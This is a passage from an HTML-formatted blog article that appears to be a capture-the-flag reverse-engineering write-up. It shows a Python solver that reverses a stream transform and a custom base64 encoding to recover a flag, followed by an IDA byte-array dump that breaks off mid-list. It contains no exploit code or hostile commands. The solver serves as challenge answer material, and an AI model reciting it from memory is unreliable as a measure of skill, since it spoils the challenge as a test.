#c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> c4 == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> lookup[c4]</span><span leaf=""><br/></span><span leaf="">        output.append(((v1 &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">) | (v2 &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> c3 != </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            output.append((((v2 &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0F</span></span><span leaf="">) &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">) | (v3 &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> c4 != </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            output.append((((v3 &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x03</span></span><span leaf="">) &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">) | v4) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(output)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">recover_flag</span></span><span style="line-height: 26px;"><span leaf="">(EncFlag: bytes)</span></span><span leaf=""> -&gt; tuple[str, str, str]:</span></span><span leaf=""><br/></span><span leaf="">    swapped = undo_stream_transform(EncFlag)</span><span leaf=""><br/></span><span leaf="">    normal = unswap_quartets(swapped)</span><span leaf=""><br/></span><span leaf="">    raw_flag = decode_custom_base64(normal).decode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ascii&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    display_flag = raw_flag.replace(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;o&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">).replace(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;e&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;3&#34;</span></span><span leaf="">).replace(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;i&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> swapped.decode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ascii&#34;</span></span><span leaf="">), raw_flag, display_flag</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    swapped_text, raw_flag, display_flag = recover_flag(EncFlag)</span><span leaf=""><br/></span><span leaf="">    print(swapped_text)</span><span leaf=""><br/></span><span leaf="">    print(raw_flag)</span><span leaf=""><br/></span><span leaf="">    print(display_flag)</span></code></pre><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">IDA_7ffc3254f000 = [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x33</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x33</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xee</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xaa</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x33</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x56</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8a</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1f</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x88</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1d</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x89</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x12</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x13</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8f</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x10</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x11</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8d</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x16</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x82</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x17</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x83</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x14</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x80</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x15</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x81</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x86</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x87</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x84</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x85</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfa</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf8</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfc</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfd</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3f</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3d</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf7</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x32</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf4</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x33</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x30</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xea</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xeb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x36</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe8</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x37</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x34</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xee</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x35</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xef</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2a</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xec</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xed</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x28</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x29</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2f</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2d</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe7</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x22</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe4</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x23</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xda</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x21</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xdb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x26</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd8</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span 